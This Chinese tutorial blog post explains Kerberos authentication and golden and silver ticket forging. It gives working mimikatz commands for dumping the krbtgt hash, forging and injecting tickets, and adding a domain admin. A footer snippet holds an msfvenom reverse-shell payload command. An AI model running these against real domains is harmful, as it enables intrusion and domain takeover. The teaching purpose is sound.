黄金票据与白银票据

文章目录

  • 黄金票据与白银票据
    • 1. 背景
    • 2. 具体实现
      • 2.1 Kerberos协议认证流程
    • 3. 黄金票据
      • 3.1 条件
      • 3.2 适用场景
      • 3.3 利用方式
    • 4. 白银票据
      • 4.1 条件
      • 4.2 适用场景
      • 4.3 利用方式
    • 5. 金票和银票的区别
      • 5.1 获取的权限不同
      • 5.2 认证流程不同
      • 5.3 加密方式不同
    • 6. 经典面试题
      • 6.1 什么是黄金票据与白银票据?
      • 6.2 kerberos认证流程?
      • 6.1 什么是黄金票据与白银票据?
      • 6.2 kerberos认证流程?

黄金票据与白银票据

TGT(票据授权票):无法对任何服务进行访问,但是TGT可以认证用户的身份。(身份票据)

TGT有权限去申请其他服务的票据。获取到其他服务的票据后如邮件服务的票据,就可以访问邮件服务了。

说明:

  • 黄金票据(TGT)就是身份票据

  • 白银票据(SGT)就是服务票据

为什么要先去找TGT再去找服务,不能直接去找服务呢?

  • 因为服务没有办法验证用户的身份,需要域来进行介入

PTH哈希传递

PTT票据传递(黄金票据与白银票据)

1. 背景

1、个人文件还是公司文件以及服务都存在于一台系统上,所有人都要去一台机器办公,效率非常低,为每个人分配了电脑以后就需要考虑安全问题

2、如何让服务器正确识别每一个人,假定所有数据包在传输过程中都可以被任意截取和修改

3、在每一台电脑上都存入所有人的账户密码是不现实的,所以引入一个认证服务统一管理所有的用户密码

4、假设用户访问邮件服务,认证服务让你提供密码以此来证明身份,它把你提供的密码和数据库中的密码相比较,通过认证,认证服务不会提供给你任何密码,不然下次你就可以不认证直接利用密码登录,认证服务会给你一张票,拿到票后,你把此票给邮件服务,以此来证明你的身份

5、需要解决的问题,每次使用还没有得到票的服务前,都必须给认证密码。比如使用邮件服务,就要输入一次。使用文件服务,又要输入一次。打印服务,还要输入一次,并且网络中明文传输密码。不法分子就可以监听网络流量获取密码。

6、引入”票据授权”服务(TGS),TGS将代替认证服务的发票功能,以后认证服务不在提供票据,如果你有TGS发放的服务票证,可以使用此票对应的服务

7、如果你通过了认证服务的验证,将会得到一张票据授权票(TGT),现在你想使用邮件服务,然而还没有邮件服务的票,所以你使用”票据授权”票去取邮件服务的票,”票据授权”票,可以使用此票获取你需要的其他服务票

8、解决密码明文传输,当你取得票据授权票时,不再发送密码,而只发送你的用户名,认证服务得到用户名以后用此用户名查你的密码,之后认证服务会制作一个包含票据授权票(TGT)的数据包,并且用你的密码加密此数据包,这样即使数据包被截取没有密码无法解密也获取不到TGT

9、票据的有效期问题,有效期内票据丢失会产生复用,并且没法灵活销毁票据

10、引入会话密钥session key ,认证服务,认证服务会返回票以及一份session key,都用用户的ntml加密,用户利用session key生成认证器来与服务进行沟通

2. 具体实现

1、KDC 服务默认会安装在一个域的域控中

Kerberos协议对于用户的认证上在域控中有的服务名称是:KDCKDC包含了AS服务和TGS服务

  • (Authentication Service)AS服务下发身份票据TGT也就是黄金票据

  • (Ticket Granting Service)TGS服务下发服务票据SGT也就是白银票据

2、从物理层面看,AD与KDC均为域控制器(Domain Controller)

3、AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT

4、KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。

KRBTGT hash可以理解为域管理员的哈希值,域控才有KRBTGT hash

image-20231010114833519

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:

  1. The Authentication Service Exchange:Client 与 AS 的交互,

  2. The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,

  3. The Client/Server Authentication Exchange:Client 与 Server 的交互

2.1 Kerberos协议认证流程

image-20231010205704438

1、客户端发送自己的用户名给AS2AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密3、用自己的NTLM哈希解密TGT1,获得TGS服务器信息以及session key(as)TGT2由于是别人的哈希,所以解不开生成认证因子(客户端信息,当前时间)--session key(as)加密发送认证因子以及TGT2TGS服务4TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密5、客户端解密TGT3,得到session key(TGS),服务器信息生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密发送认证因子2以及TGT4给服务器6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务

3. 黄金票据

黄金票据就是伪造的TGT,AS返回的票据

3.1 条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

3.2 适用场景

由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码

3.3 利用方式

1、在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存

privilege::debug
lsadump::lsa /patch

image-20231010115055805

mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi

/user:需要伪造的域管理员用户

/domain:域名称

/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

image-20231010115134409

2、清除票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

3、导入票据

kerberos::ptt ticket.kirbi

4、创建域管

net user a !@#qwe123 /add /domain
net group "domain admins" a /add /domain

4. 白银票据

白银票据就是伪造的ST,TGS返回的票据

4.1 条件

1.域名

2.域sid

3.目标服务器名

4.可利用的服务

5.服务账号的NTML HASH

6.需要伪造的用户名

4.2 适用场景

知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互

4.3 利用方式

伪造票据

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt

用户名可随意填写

image-20231010115250088

先使用mimikatz清空票据,再导入伪造的票据

5. 金票和银票的区别

5.1 获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限。

银票:伪造的ST,只能访问指定的服务,如文件服务器(CIFS)。

5.2 认证流程不同

金票:同KDC交互,但不同AS交互。

银票:不同KDC交互,直接访问Server。

5.3 加密方式不同

金票:由krbtgt NTLM Hash 加密。

银票:由服务账号 NTLM Hash 加密。

6. 经典面试题

6.1 什么是黄金票据与白银票据?

  • 黄金票据就是伪造了Kerberos协议中的身份票据(TGT)

    • 黄金票据可以访问该用户身份的所有服务
  • 白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)

    • 白银票据只能访问某一个服务
  • 使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。

6.2 kerberos认证流程?

  • 客户端先去找AS服务进行认证,获取身份票据TGT。

  • 然后拿着TGT票据寻找TGS服务,获取服务票据。

经典面试题

6.1 什么是黄金票据与白银票据?

  • 黄金票据就是伪造了Kerberos协议中的身份票据(TGT)

    • 黄金票据可以访问该用户身份的所有服务
  • 白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)

    • 白银票据只能访问某一个服务
  • 使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。

6.2 kerberos认证流程?

  • 客户端先去找AS服务进行认证,获取身份票据TGT。

  • 然后拿着TGT票据寻找TGS服务,获取服务票据。

  • 拿着服务票据访问具体的服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/102920.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

018-第三代软件开发-整体介绍

第三代软件开发-整体介绍 文章目录 第三代软件开发-整体介绍项目介绍整体介绍Qt 属性系统QML 最新软件技术框架 关键字: Qt、 Qml、 属性、 Qml 软件架构 项目介绍 欢迎来到我们的 QML & C 项目!这个项目结合了 QML(Qt Meta-Object …

97 # session

koa 里的 cookie 用法 koa 里内置了设置 cookie 的方法 npm init -y npm i koa koa/router用法: const Koa require("koa"); const Router require("koa/router"); const crypto require("crypto");const app new Koa(); let …

3D 生成重建004-DreamFusion and SJC :TEXT-TO-3D USING 2D DIFFUSION

3D 生成重建004-DreamFusion and SJC :TEXT-TO-3D USING 2D DIFFUSION 文章目录 0 论文工作1 论文方法1.1论文方法1.2 CFG1.3影响1.4 SJC 2 效果 0 论文工作 对于生成任务,我们是需要有一个数据样本,让模型去学习数据分布 p ( x ) p(x) p(x…

易点云CFO向征:CFO不能只讲故事,价值创造才是核心

作者 | 曾响铃 文 | 响铃说 在今年6月初,也是易点云上市6天后,《巴伦周刊》正式启动评价“2023港美上市中国企业CFO精英100”的活动。 时间来到9月,评价揭秘,易点云CFO向征成功入选,被评为“年度最具成长潜力CFO”…

windows创建服务:更新服务信息乱码问题(ChangeServiceConfig)

因为小项目需要创建windows服务,安装微软官方示例一切都挺顺利,代码运行后发现配置的信息在系统里显示乱码。打开注册表发现的确是乱码。这就排除软件读取得问题,而是调用ChangeServiceConfig系统函数写入时就发生了乱码。让我在网上查找了一…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

MAX17058_MAX17059 STM32 iic 驱动设计

本文采用资源下载链接,含完整工程代码 MAX17058-MAX17059STM32iic驱动设计内含有代码、详细设计过程文档,实际项目中使用代码,稳定可靠资源-CSDN文库 简介 MAX17058/MAX17059 IC是微小的锂离子(Li )在手持和便携式设备的电池电量计。MAX170…

关于Win系统提示由于找不到msvcr120.dll文件问题解决办法

在我使用电脑的过程中,突然弹出了一个错误提示框,提示我系统中缺少msvcp120.dll文件。这个文件是系统运行所必需的,缺少它可能会导致一些软件无法正常运行。经过一番搜索和咨询,我找到了以下几种解决方案,分享给大家&a…

OpenCV中initUndistortRectifyMap ()函数与十四讲中去畸变公式的区别探究

文章目录 1.十四讲中的去畸变公式2. OpenCV中的去畸变公式3. 4个参数和8个参数之间的区别4.initUndistortRectifyMap()函数源码 最近在使用OpenCV对鱼眼相机图像去畸变时发现一个问题,基于针孔模型去畸变时所使用的参数和之前十四讲以及视觉SLAM中的畸变系数有一点不…

Vue-2.3v-model原理

原理:v-model本质上是一个语法糖,例如应用在输入框上,就是value属性和input事件的合写。 作用:提供数据的双向绑定 1)数据变,视图跟着变:value 2)视图变,数据跟着变input 注意&a…

把短信验证码储存在Redis

校验短信验证码 接着上一篇博客https://blog.csdn.net/qq_42981638/article/details/94656441,成功实现可以发送短信验证码之后,一般可以把验证码存放在redis中,并且设置存放时间,一般短信验证码都是1分钟或者90s过期,…

伦敦金的交易时间究竟多长?

接触过伦敦金交易的投资者,应该都知道自己根本不用担心市场上没有交易的机会,因为它全天的交易时间长达20多个小时,也就是在每一个正常的交易日,除去交易平台中途短暂的系统维护时间,投资者几乎全天都可以做盘。 伦敦金…

Maven导入程序包jakarta.servlet,但显示不存在

使用前提:(Tomcat10版本)已知tomcat10版本之后,使用jakart.servlet。而tomcat9以及之前使用javax.servlet。 问题描述:在maven仓库有导入了Jakarta程序包,但是界面仍然显示是javax。(下图&…

Unity实现设计模式——适配器模式

Unity实现设计模式——适配器模式 适配器模式又称为变压器模式、包装模式(Wrapper) 将一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口不匹配而无法在一起工作的两个类能够在一起工作。 在一个在役的项目期望在原有接口的基础…

一文带你上手自动化测试中的PO模式!

在UI的自动化测试中,我们需要把测试使用到的数据分离到文件中,如果单纯的写在我们的测试模块里面,不是一个好的设计,所以不管是什么类型的自动化测试,都是需要把数据分离出来的。当然分离到具体的文件里面,…

智能井盖传感器:数智赋能让城市管理更智慧

智能井盖传感器:数智赋能让城市管理更智慧 在城市化快速发展的今天,保护和增强城市基础设施生命线的需求至关重要。而井盖作为守护城市地下空间的安全门,其智能化管理与城市生命线安全工程建设息息相关。在这篇文章中将为大家详细介绍智能井…

OpenCV级联分类器识别车辆实践笔记

1. OpenCV 级联分类器的基本原理 基于Haar特征的级联分类器的目标检测是Paul Viola和Michael Jones在2001年的论文中提出的一种有效的目标检测方法。这是一种基于机器学习的方法,从大量的正面和负面图像中训练级联函数。然后用它来检测其他图像中的物体。 Haar特征…

CTF Misc(3)流量分析基础以及原理

前言 流量分析在ctf比赛中也是常见的题目,参赛者通常会收到一个网络数据包的数据集,这些数据包记录了网络通信的内容和细节。参赛者的任务是通过分析这些数据包,识别出有用的信息,例如登录凭据、加密算法、漏洞利用等等 工具安装…

共生与共享:线程与进程的关系

🌍前言 在计算机科学和操作系统领域,线程(Thread)和进程(Process)是两个关键概念。它们之间存在密切的关系,但又有着明显的区别。本文将深入探讨线程和进程之间的关系,以及它们在并…

使用Perl脚本编写爬虫程序的一些技术问题解答

网络爬虫是一种强大的工具,用于从互联网上收集和提取数据。Perl 作为一种功能强大的脚本语言,提供了丰富的工具和库,使得编写的爬虫程序变得简单而灵活。在使用的过程中大家会遇到一些问题,本文将通过问答方式,解答一些…